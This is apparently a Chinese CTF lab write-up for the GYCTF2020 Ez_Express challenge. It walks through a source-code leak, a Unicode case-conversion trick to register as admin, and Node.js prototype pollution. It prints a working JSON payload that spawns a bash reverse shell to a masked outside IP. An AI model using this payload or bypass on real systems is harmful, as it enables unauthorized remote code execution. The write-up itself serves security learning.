WEB

BUU|[GYCTF2020]Ez_Express

NodeJS原型链污染

Posted by Elli0t on 2020-03-25

知识点:

  • NodeJS 代码审计
  • NodeJS 大小写转换特性
  • NodeJS 原型链(Prototype)污染

打开靶机,有源码泄露 /www.zip,下载源码。

打开源码包,主要审 routes 下路由的源码。

源码开头看到merge和clone,联想到原型链污染漏洞。一查还真是其他文章里的例子,就变了个变量名。
注册这里会把用户名大写之后储存进 session。

要注册成 ADMIN 才能触发 clone 进行原型链污染。


但有限制,不让以 admin 注册。

NodeJS大小写转换绕过
https://xz.aliyun.com/t/7184#toc-11

那么我们只需要把 admin 写成 admın 即可绕过上面的限制了。
注册,成功。

接下来就是原型链污染
payload:

1
{"__proto__":{"outputFunctionName":"a=1;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/9999 0>&1\"')//"}}

然后提交/action(即最喜欢的语言)并抓包,然后填入poayload,注意要把Content-Type: 改为plication/json:

然后访问/info路由让outputFunctionName拼接到渲染引擎中触发原型链污染,即可得到shell:

参考链接

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html (深入理解 JavaScript Prototype 污染攻击)
https://blog.csdn.net/qq_42181428/article/details/104474414?fps=1&locationNum=2
https://xz.aliyun.com/t/7184#toc-7
https://www.zhaoj.in/read-6462.html